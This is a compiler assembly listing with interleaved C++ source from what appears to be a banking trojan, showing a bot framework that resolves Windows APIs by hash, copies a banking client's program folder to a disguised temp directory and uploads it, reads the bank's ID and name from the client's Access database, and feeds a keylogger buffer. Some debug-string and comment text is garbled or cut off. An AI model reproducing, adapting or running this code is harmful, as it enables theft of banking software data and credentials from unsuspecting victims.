_Str$ = 12						; size = 4
_Arg1$ = 16						; size = 8
??$DBGOutMessage@PBDPBD_J@TINYCLIENT@@YAXPBD0_J@Z PROC	; TINYCLIENT::DBGOutMessage<char const *,char const *,__int64>, COMDAT
; 74   : 	#ifdef DebugUtils
; 75   : 		Debug::MessageEx((PCHAR)Module, 0, NULL, NULL, (PCHAR)Str, Arg1);
; 76   : 	#endif
; 77   : }
  00000	c3		 ret	 0
??$DBGOutMessage@PBDPBD_J@TINYCLIENT@@YAXPBD0_J@Z ENDP	; TINYCLIENT::DBGOutMessage<char const *,char const *,__int64>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z	; pushargEx<1,2180051167,35,char *>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z PROC	; pushargEx<1,2180051167,35,char *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 23		 push	 35			; 00000023H
  00002	68 df f0 f0 81	 push	 -2114916129		; 81f0f0dfH
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ENDP	; pushargEx<1,2180051167,35,char *>
_TEXT	ENDS
PUBLIC	?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z		; STRUTILS<char>::IsEmpty
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z PROC			; STRUTILS<char>::IsEmpty, COMDAT
; 20   : 	return Str == NULL || *Str == 0;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	74 08		 je	 SHORT $LN3@IsEmpty
  00008	80 38 00	 cmp	 BYTE PTR [eax], 0
  0000b	74 03		 je	 SHORT $LN3@IsEmpty
  0000d	33 c0		 xor	 eax, eax
; 21   : }
  0000f	c3		 ret	 0
$LN3@IsEmpty:
; 20   : 	return Str == NULL || *Str == 0;
  00010	33 c0		 xor	 eax, eax
  00012	40		 inc	 eax
; 21   : }
  00013	c3		 ret	 0
?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ENDP			; STRUTILS<char>::IsEmpty
_TEXT	ENDS
PUBLIC	??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z	; STRBUF::GetRec<char>
; Function compile flags: /Ogspy
;	COMDAT ??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z PROC		; STRBUF::GetRec<char>, COMDAT
; 442  : 	// 
; 443  : 	TStrRec* R = (TStrRec*)Str;
; 444  :     return R[-1];
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	83 c0 f4	 add	 eax, -12		; fffffff4H
; 445  : }
  00007	c3		 ret	 0
??$GetRec@D@STRBUF@@YAAAUTStrRec@0@PAD@Z ENDP		; STRBUF::GetRec<char>
_TEXT	ENDS
PUBLIC	??_C@_0CM@OBDFKPDG@DRIVER?$DNMicrosoft?5Access?5Driver?5?$CI@ ; `string'
EXTRN	?Connect@ODBC@@QAE_NPBD@Z:PROC			; ODBC::Connect
EXTRN	?m_lstrcat@@YGXPADPBD@Z:PROC			; m_lstrcat
EXTRN	?m_lstrcpy@@YGXPADPBD@Z:PROC			; m_lstrcpy
EXTRN	??2TBotObject@@SAPAXI@Z:PROC			; TBotObject::operator new
_BSS	SEGMENT
_pathMDB DB	0104H DUP (?)
_BSS	ENDS
;	COMDAT ??_C@_0CM@OBDFKPDG@DRIVER?$DNMicrosoft?5Access?5Driver?5?$CI@
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	SEGMENT
??_C@_0CM@OBDFKPDG@DRIVER?$DNMicrosoft?5Access?5Driver?5?$CI@ DB 'DRIVER='
	DB	'Microsoft Access Driver (*.mdb);DBQ=', 00H	; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?OpenDB@Tiny@@YAPAVODBC@@XZ
_TEXT	SEGMENT
_strConnect$99789 = -260				; size = 260
?OpenDB@Tiny@@YAPAVODBC@@XZ PROC			; Tiny::OpenDB, COMDAT
; 220  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	81 ec 04 01 00
	00		 sub	 esp, 260		; 00000104H
  00009	56		 push	 esi
; 221  : 	ODBC* DB = new ODBC();
  0000a	6a 0c		 push	 12			; 0000000cH
  0000c	e8 00 00 00 00	 call	 ??2TBotObject@@SAPAXI@Z	; TBotObject::operator new
  00011	59		 pop	 ecx
  00012	85 c0		 test	 eax, eax
  00014	74 12		 je	 SHORT $LN5@OpenDB
  00016	83 60 04 00	 and	 DWORD PTR [eax+4], 0
  0001a	83 60 08 00	 and	 DWORD PTR [eax+8], 0
  0001e	c7 00 00 00 00
	00		 mov	 DWORD PTR [eax], OFFSET ??_7ODBC@@6B@
  00024	8b f0		 mov	 esi, eax
  00026	eb 02		 jmp	 SHORT $LN6@OpenDB
$LN5@OpenDB:
  00028	33 f6		 xor	 esi, esi
$LN6@OpenDB:
; 222  : 	if( DB )
  0002a	85 f6		 test	 esi, esi
  0002c	74 3e		 je	 SHORT $LN1@OpenDB
; 223  : 	{
; 224  : 		char strConnect[MAX_PATH];
; 225  : 		m_lstrcpy( strConnect, "DRIVER=Microsoft Access Driver (*.mdb);DBQ=" );
  0002e	68 00 00 00 00	 push	 OFFSET ??_C@_0CM@OBDFKPDG@DRIVER?$DNMicrosoft?5Access?5Driver?5?$CI@
  00033	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _strConnect$99789[ebp]
  00039	50		 push	 eax
  0003a	e8 00 00 00 00	 call	 ?m_lstrcpy@@YGXPADPBD@Z	; m_lstrcpy
; 226  : 		m_lstrcat( strConnect, pathMDB );
  0003f	68 00 00 00 00	 push	 OFFSET _pathMDB
  00044	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _strConnect$99789[ebp]
  0004a	50		 push	 eax
  0004b	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
; 227  : //		m_lstrcat( strConnect, ";UID=admin;PWD=" );
; 228  : 		DBG( "Tiny", "strConnect: '%s'", strConnect );
; 229  : 		if( !DB->Connect(strConnect) )
  00050	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _strConnect$99789[ebp]
  00056	50		 push	 eax
  00057	8b ce		 mov	 ecx, esi
  00059	e8 00 00 00 00	 call	 ?Connect@ODBC@@QAE_NPBD@Z ; ODBC::Connect
  0005e	84 c0		 test	 al, al
  00060	75 0a		 jne	 SHORT $LN1@OpenDB
; 230  : 		{
; 231  : 			CloseDB(DB);
  00062	8b 06		 mov	 eax, DWORD PTR [esi]
  00064	6a 01		 push	 1
  00066	8b ce		 mov	 ecx, esi
  00068	ff 10		 call	 DWORD PTR [eax]
; 232  : 			DB = 0;
  0006a	33 f6		 xor	 esi, esi
$LN1@OpenDB:
; 233  : 		}
; 234  : 	}
; 235  : 	return DB;
  0006c	8b c6		 mov	 eax, esi
  0006e	5e		 pop	 esi
; 236  : }
  0006f	c9		 leave
  00070	c3		 ret	 0
?OpenDB@Tiny@@YAPAVODBC@@XZ ENDP			; Tiny::OpenDB
_TEXT	ENDS
PUBLIC	??_C@_0N@GIHMBBLP@tiny_client?2?$AA@		; `string'
PUBLIC	?SendTiny@Tiny@@YGKPAX@Z			; Tiny::SendTiny
EXTRN	?SendFiles@VideoProcess@@YAKHPBD0HH_N@Z:PROC	; VideoProcess::SendFiles
EXTRN	?CopyFileANdFolder@@YA_NPAD0@Z:PROC		; CopyFileANdFolder
EXTRN	?DeleteFolders@@YA_NPAD@Z:PROC			; DeleteFolders
EXTRN	?IsExists@Directory@@YA_NQAD@Z:PROC		; Directory::IsExists
EXTRN	?m_lstrlen@@YGKPBD@Z:PROC			; m_lstrlen
EXTRN	?FolderIsUpload@VideoProcess@@YA_NPBD0@Z:PROC	; VideoProcess::FolderIsUpload
EXTRN	?Free@STR@@YAXPAD@Z:PROC			; STR::Free
EXTRN	?CryptFileName@UIDCrypt@@YAPADPBD_N@Z:PROC	; UIDCrypt::CryptFileName
EXTRN	?PathToName@@YAPADPBDPADH@Z:PROC		; PathToName
EXTRN	?m_memcpy@@YAPAXPAXPBXH@Z:PROC			; m_memcpy
EXTRN	?Initialize@BOT@@YAXW4TProcessType@@@Z:PROC	; BOT::Initialize
;	COMDAT ??_C@_0N@GIHMBBLP@tiny_client?2?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_0N@GIHMBBLP@tiny_client?2?$AA@ DB 'tiny_client\', 00H ; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?SendTiny@Tiny@@YGKPAX@Z
_TEXT	SEGMENT
_clientPrg$ = -520					; size = 260
_tempFolder$ = -260					; size = 260
___formal$ = 8						; size = 4
?SendTiny@Tiny@@YGKPAX@Z PROC				; Tiny::SendTiny, COMDAT
; 241  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	81 ec 08 02 00
	00		 sub	 esp, 520		; 00000208H
  00009	53		 push	 ebx
  0000a	56		 push	 esi
  0000b	57		 push	 edi
; 242  : 	BOT::Initialize(ProcessUnknown);
  0000c	33 ff		 xor	 edi, edi
  0000e	57		 push	 edi
  0000f	e8 00 00 00 00	 call	 ?Initialize@BOT@@YAXW4TProcessType@@@Z ; BOT::Initialize
; 243  : 	DBG( "Tiny", "
 %s", folderTiny );
; 244  : //	DWORD folderSize = 0;
; 245  : //	if( !SizeFolderLess( folderIFobs, 1024*1024*350, &folderSize ) )
; 246  : //	{
; 247  : //		DBG( "Tiny", "
; 248  : //		return 0;
; 249  : //	}
; 250  : //	DBG( "Tiny", "
", folderSize );
; 251  : 	char tempFolder[MAX_PATH], clientPrg[MAX_PATH];
; 252  : 	m_memcpy( clientPrg, "tiny_client\\", 12 );
  00014	6a 0c		 push	 12			; 0000000cH
  00016	8d 85 f8 fd ff
	ff		 lea	 eax, DWORD PTR _clientPrg$[ebp]
  0001c	68 00 00 00 00	 push	 OFFSET ??_C@_0N@GIHMBBLP@tiny_client?2?$AA@
  00021	50		 push	 eax
  00022	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
; 253  : 	PathToName( folderTiny, clientPrg + 12, sizeof(clientPrg) - 12 );
  00027	68 f8 00 00 00	 push	 248			; 000000f8H
  0002c	8d 85 04 fe ff
	ff		 lea	 eax, DWORD PTR _clientPrg$[ebp+12]
  00032	50		 push	 eax
  00033	be 00 00 00 00	 mov	 esi, OFFSET ?folderTiny@Tiny@@3PADA ; Tiny::folderTiny
  00038	56		 push	 esi
  00039	e8 00 00 00 00	 call	 ?PathToName@@YAPADPBDPADH@Z ; PathToName
; 254  : 	pGetTempPathA( sizeof(tempFolder), tempFolder );
  0003e	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _tempFolder$[ebp]
  00044	50		 push	 eax
  00045	68 04 01 00 00	 push	 260			; 00000104H
  0004a	e8 00 00 00 00	 call	 ??$pushargEx@$00$0FIPOHKLO@$0DG@IPAD@@YAPAXIPAD@Z ; pushargEx<1,1493072574,54,unsigned int,char *>
; 255  : 	char* cryptName = UIDCrypt::CryptFileName( clientPrg + 12, false );
  0004f	8d 85 04 fe ff
	ff		 lea	 eax, DWORD PTR _clientPrg$[ebp+12]
  00055	57		 push	 edi
  00056	50		 push	 eax
  00057	e8 00 00 00 00	 call	 ?CryptFileName@UIDCrypt@@YAPADPBD_N@Z ; UIDCrypt::CryptFileName
  0005c	8b d8		 mov	 ebx, eax
; 256  : 	pPathAppendA( tempFolder, cryptName );
  0005e	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _tempFolder$[ebp]
  00064	53		 push	 ebx
  00065	50		 push	 eax
  00066	e8 00 00 00 00	 call	 ??$pushargEx@$0BD@$0PIGKKBPG@$0CBI@PADPAD@@YAPAXPAD0@Z ; pushargEx<19,4167737846,536,char *,char *>
; 257  : 	STR::Free(cryptName);
  0006b	53		 push	 ebx
  0006c	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 258  : 	if( VideoProcess::FolderIsUpload( clientPrg, tempFolder ) )
  00071	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _tempFolder$[ebp]
  00077	50		 push	 eax
  00078	8d 85 f8 fd ff
	ff		 lea	 eax, DWORD PTR _clientPrg$[ebp]
  0007e	50		 push	 eax
  0007f	e8 00 00 00 00	 call	 ?FolderIsUpload@VideoProcess@@YA_NPBD0@Z ; VideoProcess::FolderIsUpload
  00084	83 c4 40	 add	 esp, 64			; 00000040H
  00087	84 c0		 test	 al, al
; 259  : 	{
; 260  : 		DBG( "Tiny", "
; 261  : 		return 0;
  00089	0f 85 93 00 00
	00		 jne	 $LN15@SendTiny
; 262  : 	}
; 263  : 	*((int*)&(tempFolder[ m_lstrlen(tempFolder) ])) = 0; //
 "\0\0"
  0008f	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _tempFolder$[ebp]
  00095	50		 push	 eax
  00096	e8 00 00 00 00	 call	 ?m_lstrlen@@YGKPBD@Z	; m_lstrlen
  0009b	89 bc 05 fc fe
	ff ff		 mov	 DWORD PTR _tempFolder$[ebp+eax], edi
; 264  : 	if( Directory::IsExists(tempFolder) ) DeleteFolders(tempFolder);
  000a2	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _tempFolder$[ebp]
  000a8	50		 push	 eax
  000a9	e8 00 00 00 00	 call	 ?IsExists@Directory@@YA_NQAD@Z ; Directory::IsExists
  000ae	59		 pop	 ecx
  000af	84 c0		 test	 al, al
  000b1	74 0d		 je	 SHORT $LN1@SendTiny
  000b3	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _tempFolder$[ebp]
  000b9	50		 push	 eax
  000ba	e8 00 00 00 00	 call	 ?DeleteFolders@@YA_NPAD@Z ; DeleteFolders
  000bf	59		 pop	 ecx
$LN1@SendTiny:
; 265  : 	pCreateDirectoryA( tempFolder, 0 );
  000c0	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _tempFolder$[ebp]
  000c6	57		 push	 edi
  000c7	50		 push	 eax
  000c8	e8 00 00 00 00	 call	 ??$pushargEx@$00$0KAHDFHH@$0KJ@PADH@@YAPAXPADH@Z ; pushargEx<1,168244599,169,char *,int>
  000cd	59		 pop	 ecx
  000ce	59		 pop	 ecx
; 266  : 	DBG( "Tiny", "
 %s", tempFolder );
; 267  : 	*((int*)&(folderTiny[ m_lstrlen(folderTiny) ])) = 0; 
  000cf	56		 push	 esi
  000d0	e8 00 00 00 00	 call	 ?m_lstrlen@@YGKPBD@Z	; m_lstrlen
  000d5	89 b8 00 00 00
	00		 mov	 DWORD PTR ?folderTiny@Tiny@@3PADA[eax], edi
; 268  : 	CopyFileANdFolder( folderTiny, tempFolder );
  000db	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _tempFolder$[ebp]
  000e1	50		 push	 eax
  000e2	56		 push	 esi
  000e3	e8 00 00 00 00	 call	 ?CopyFileANdFolder@@YA_NPAD0@Z ; CopyFileANdFolder
; 269  : 	DBG( "Tiny", "
; 270  : 	//
; 271  : /*
; 272  : 	const char* DelFolders[] = { "DATA", "OldVersion", 0 };
; 273  : 	int i = 0;
; 274  : 	while( DelFolders[i] )
; 275  : 	{
; 276  : 		pPathAppendA( tempFolder, DelFolders[i] );
; 277  : 		*((int*)&(tempFolder[ m_lstrlen(tempFolder) ])) = 0;
; 278  : 		DBG( "Tiny", "
 %s", tempFolder );
; 279  : 		DeleteFolders(tempFolder);
; 280  : 		pPathRemoveFileSpecA(tempFolder);
; 281  : 		i++;
; 282  : 	}
; 283  : */
; 284  : 	VideoProcess::SendFiles( 0, clientPrg, tempFolder );
  000e8	57		 push	 edi
  000e9	57		 push	 edi
  000ea	57		 push	 edi
  000eb	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _tempFolder$[ebp]
  000f1	50		 push	 eax
  000f2	8d 85 f8 fd ff
	ff		 lea	 eax, DWORD PTR _clientPrg$[ebp]
  000f8	50		 push	 eax
  000f9	57		 push	 edi
  000fa	e8 00 00 00 00	 call	 ?SendFiles@VideoProcess@@YAKHPBD0HH_N@Z ; VideoProcess::SendFiles
  000ff	83 c4 20	 add	 esp, 32			; 00000020H
; 285  : 	*((int*)&(tempFolder[ m_lstrlen(tempFolder) ])) = 0;
  00102	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _tempFolder$[ebp]
  00108	50		 push	 eax
  00109	e8 00 00 00 00	 call	 ?m_lstrlen@@YGKPBD@Z	; m_lstrlen
  0010e	89 bc 05 fc fe
	ff ff		 mov	 DWORD PTR _tempFolder$[ebp+eax], edi
; 286  : 	DeleteFolders(tempFolder);
  00115	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _tempFolder$[ebp]
  0011b	50		 push	 eax
  0011c	e8 00 00 00 00	 call	 ?DeleteFolders@@YA_NPAD@Z ; DeleteFolders
  00121	59		 pop	 ecx
$LN15@SendTiny:
  00122	5f		 pop	 edi
  00123	5e		 pop	 esi
; 287  : 	DBG( "Tiny", "
; 288  : 	return 0;
  00124	33 c0		 xor	 eax, eax
  00126	5b		 pop	 ebx
; 289  : }
  00127	c9		 leave
  00128	c2 04 00	 ret	 4
?SendTiny@Tiny@@YGKPAX@Z ENDP				; Tiny::SendTiny
_TEXT	ENDS
PUBLIC	??_C@_0CE@JFGAPHLM@select?5Name?5from?5Banks?5where?5Cod@ ; `string'
PUBLIC	??_C@_09LOOEKDAI@os81?5is30?$AA@		; `string'
PUBLIC	??_C@_0CP@PCDOOEJI@select?5Param?5from?5Config?5where?5C@ ; `string'
PUBLIC	??_C@_04KCFOIKDG@os30?$AA@			; `string'
EXTRN	?m_atoi@@YAHPBD@Z:PROC				; m_atoi
EXTRN	?SafeCopyStr@@YAPADPADHPBD@Z:PROC		; SafeCopyStr
_BSS	SEGMENT
_codeBankClient DD 01H DUP (?)
_bankClient DB	064H DUP (?)
_BSS	ENDS
;	COMDAT ??_C@_0CE@JFGAPHLM@select?5Name?5from?5Banks?5where?5Cod@
CONST	SEGMENT
??_C@_0CE@JFGAPHLM@select?5Name?5from?5Banks?5where?5Cod@ DB 'select Name'
	DB	' from Banks where Code=?', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_09LOOEKDAI@os81?5is30?$AA@
CONST	SEGMENT
??_C@_09LOOEKDAI@os81?5is30?$AA@ DB 'os81 is30', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_0CP@PCDOOEJI@select?5Param?5from?5Config?5where?5C@
CONST	SEGMENT
??_C@_0CP@PCDOOEJI@select?5Param?5from?5Config?5where?5C@ DB 'select Para'
	DB	'm from Config where Code=''MyBankId''', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_04KCFOIKDG@os30?$AA@
CONST	SEGMENT
??_C@_04KCFOIKDG@os30?$AA@ DB 'os30', 00H		; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?GetNameBank@Tiny@@YAHPADH@Z
_TEXT	SEGMENT
_Name$ = -116						; size = 81
_MyIdBank$ = -32					; size = 32
_szBank$ = 8						; size = 4
?GetNameBank@Tiny@@YAHPADH@Z PROC			; Tiny::GetNameBank, COMDAT
; _bank$ = ebx
; 292  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 74	 sub	 esp, 116		; 00000074H
  00006	56		 push	 esi
; 293  : 	char MyIdBank[32]; //
; 294  : 	char Name[81]; //
; 295  : 	bank[0] = 0;
  00007	c6 03 00	 mov	 BYTE PTR [ebx], 0
; 296  : 	int ret = 0;
  0000a	33 f6		 xor	 esi, esi
; 297  : 	if( bankClient[0] )
  0000c	80 3d 00 00 00
	00 00		 cmp	 BYTE PTR _bankClient, 0
  00013	74 1c		 je	 SHORT $LN5@GetNameBan
; 298  : 	{
; 299  : 		SafeCopyStr( bank, szBank, bankClient );
  00015	68 00 00 00 00	 push	 OFFSET _bankClient
  0001a	ff 75 08	 push	 DWORD PTR _szBank$[ebp]
  0001d	53		 push	 ebx
  0001e	e8 00 00 00 00	 call	 ?SafeCopyStr@@YAPADPADHPBD@Z ; SafeCopyStr
; 300  : 		ret = codeBankClient;
  00023	8b 35 00 00 00
	00		 mov	 esi, DWORD PTR _codeBankClient
  00029	83 c4 0c	 add	 esp, 12			; 0000000cH
; 301  : 	}
; 302  : 	else
  0002c	e9 92 00 00 00	 jmp	 $LN15@GetNameBan
$LN5@GetNameBan:
  00031	57		 push	 edi
; 303  : 	{
; 304  : 		ODBC* DB = OpenDB();
  00032	e8 00 00 00 00	 call	 ?OpenDB@Tiny@@YAPAVODBC@@XZ ; Tiny::OpenDB
  00037	8b f8		 mov	 edi, eax
; 305  : 		if( DB )
  00039	85 ff		 test	 edi, edi
  0003b	0f 84 81 00 00
	00		 je	 $LN17@GetNameBan
; 306  : 		{
; 307  : 			SQLHSTMT qr = DB->ExecuteSql( "select Param from Config where Code='MyBankId'", "os30", MyIdBank );
  00041	8d 45 e0	 lea	 eax, DWORD PTR _MyIdBank$[ebp]
  00044	50		 push	 eax
  00045	68 00 00 00 00	 push	 OFFSET ??_C@_04KCFOIKDG@os30?$AA@
  0004a	68 00 00 00 00	 push	 OFFSET ??_C@_0CP@PCDOOEJI@select?5Param?5from?5Config?5where?5C@
  0004f	57		 push	 edi
  00050	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  00055	83 c4 10	 add	 esp, 16			; 00000010H
; 308  : 			if( qr )
  00058	85 c0		 test	 eax, eax
  0005a	74 5e		 je	 SHORT $LN1@GetNameBan
; 309  : 			{
; 310  : 				DB->CloseQuery(qr);
  0005c	50		 push	 eax
  0005d	8b cf		 mov	 ecx, edi
  0005f	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 311  : 				DBG( "Tiny", "MyBankId=%s", MyIdBank );
; 312  : 				qr = DB->ExecuteSql( "select Name from Banks where Code=?", "os81 is30", Name, MyIdBank );
  00064	8d 45 e0	 lea	 eax, DWORD PTR _MyIdBank$[ebp]
  00067	50		 push	 eax
  00068	8d 45 8c	 lea	 eax, DWORD PTR _Name$[ebp]
  0006b	50		 push	 eax
  0006c	68 00 00 00 00	 push	 OFFSET ??_C@_09LOOEKDAI@os81?5is30?$AA@
  00071	68 00 00 00 00	 push	 OFFSET ??_C@_0CE@JFGAPHLM@select?5Name?5from?5Banks?5where?5Cod@
  00076	57		 push	 edi
  00077	e8 00 00 00 00	 call	 ?ExecuteSql@ODBC@@QAAPAXPBD0ZZ ; ODBC::ExecuteSql
  0007c	83 c4 14	 add	 esp, 20			; 00000014H
; 313  : 				if( qr )
  0007f	85 c0		 test	 eax, eax
  00081	74 37		 je	 SHORT $LN1@GetNameBan
; 314  : 				{
; 315  : 					DB->CloseQuery(qr);
  00083	50		 push	 eax
  00084	8b cf		 mov	 ecx, edi
  00086	e8 00 00 00 00	 call	 ?CloseQuery@ODBC@@QAEXPAX@Z ; ODBC::CloseQuery
; 316  : 					m_lstrcpy( bankClient, Name );
  0008b	8d 45 8c	 lea	 eax, DWORD PTR _Name$[ebp]
  0008e	50		 push	 eax
  0008f	68 00 00 00 00	 push	 OFFSET _bankClient
  00094	e8 00 00 00 00	 call	 ?m_lstrcpy@@YGXPADPBD@Z	; m_lstrcpy
; 317  : 					SafeCopyStr( bank, szBank, Name );
  00099	8d 45 8c	 lea	 eax, DWORD PTR _Name$[ebp]
  0009c	50		 push	 eax
  0009d	ff 75 08	 push	 DWORD PTR _szBank$[ebp]
  000a0	53		 push	 ebx
  000a1	e8 00 00 00 00	 call	 ?SafeCopyStr@@YAPADPADHPBD@Z ; SafeCopyStr
; 318  : 					DBG( "Tiny", "name bank=%s", Name );
; 319  : 					codeBankClient = ret = m_atoi(MyIdBank);
  000a6	8d 45 e0	 lea	 eax, DWORD PTR _MyIdBank$[ebp]
  000a9	50		 push	 eax
  000aa	e8 00 00 00 00	 call	 ?m_atoi@@YAHPBD@Z	; m_atoi
  000af	8b f0		 mov	 esi, eax
  000b1	83 c4 10	 add	 esp, 16			; 00000010H
  000b4	89 35 00 00 00
	00		 mov	 DWORD PTR _codeBankClient, esi
$LN1@GetNameBan:
; 320  : 				}
; 321  : 			}
; 322  : 			CloseDB(DB);
  000ba	8b 07		 mov	 eax, DWORD PTR [edi]
  000bc	6a 01		 push	 1
  000be	8b cf		 mov	 ecx, edi
  000c0	ff 10		 call	 DWORD PTR [eax]
$LN17@GetNameBan:
  000c2	5f		 pop	 edi
$LN15@GetNameBan:
; 323  : 		}
; 324  : 	}
; 325  : 	return ret;
  000c3	8b c6		 mov	 eax, esi
  000c5	5e		 pop	 esi
; 326  : }
  000c6	c9		 leave
  000c7	c3		 ret	 0
?GetNameBank@Tiny@@YAHPADH@Z ENDP			; Tiny::GetNameBank
_TEXT	ENDS
PUBLIC	??_C@_02PCIJFNDE@?$AN?6?$AA@			; `string'
PUBLIC	??_C@_02KEGNLNML@?0?5?$AA@			; `string'
PUBLIC	??_C@_02LMMGGCAJ@?3?5?$AA@			; `string'
EXTRN	?AddStrToBuffer@KeyLogger@@YAXPAUHWND__@@PADK@Z:PROC ; KeyLogger::AddStrToBuffer
;	COMDAT ??_C@_02PCIJFNDE@?$AN?6?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_02PCIJFNDE@?$AN?6?$AA@ DB 0dH, 0aH, 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_02KEGNLNML@?0?5?$AA@
CONST	SEGMENT
??_C@_02KEGNLNML@?0?5?$AA@ DB ', ', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_02LMMGGCAJ@?3?5?$AA@
CONST	SEGMENT
??_C@_02LMMGGCAJ@?3?5?$AA@ DB ': ', 00H			; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\rubnk\tiny.cpp
CONST	ENDS
;	COMDAT ?AddStrLog@Tiny@@YAXPBD0PAD@Z
_TEXT	SEGMENT
_buf$ = -260						; size = 260
_name$ = 8						; size = 4
_value$ = 12						; size = 4
?AddStrLog@Tiny@@YAXPBD0PAD@Z PROC			; Tiny::AddStrLog, COMDAT
; _resultGrab$ = esi
; 442  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	81 ec 04 01 00
	00		 sub	 esp, 260		; 00000104H
; 443  : 	char buf[MAX_PATH];
; 444  : 	m_lstrcpy( buf, name );
  00009	ff 75 08	 push	 DWORD PTR _name$[ebp]
  0000c	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _buf$[ebp]
  00012	50		 push	 eax
  00013	e8 00 00 00 00	 call	 ?m_lstrcpy@@YGXPADPBD@Z	; m_lstrcpy
; 445  : 	m_lstrcat( buf, ": " );
  00018	68 00 00 00 00	 push	 OFFSET ??_C@_02LMMGGCAJ@?3?5?$AA@
  0001d	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _buf$[ebp]
  00023	50		 push	 eax
  00024	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
; 446  : 	if( value )
  00029	83 7d 0c 00	 cmp	 DWORD PTR _value$[ebp], 0
  0002d	74 0f		 je	 SHORT $LN2@AddStrLog
; 447  : 		m_lstrcat( buf, value );
  0002f	ff 75 0c	 push	 DWORD PTR _value$[ebp]
  00032	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _buf$[ebp]
  00038	50		 push	 eax
  00039	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
$LN2@AddStrLog:
; 448  : 	if( resultGrab[0] ) m_lstrcat( resultGrab, ", " );
  0003e	80 3e 00	 cmp	 BYTE PTR [esi], 0
  00041	74 0b		 je	 SHORT $LN1@AddStrLog
  00043	68 00 00 00 00	 push	 OFFSET ??_C@_02KEGNLNML@?0?5?$AA@
  00048	56		 push	 esi
  00049	e8 00 00 00 00	 call	 ?m_lstrcat@@YGXPADPBD@Z	; m_lstrcat
$LN1@AddStrLog:
; 449  : 	m_lstrcat( resultGrab, buf );
  0004e	8d 85 fc fe ff
	ff		 lea	 eax, DWORD PTR _buf$[ebp]
  00054	50		 push	 eax
  00055	56		 push	 esi
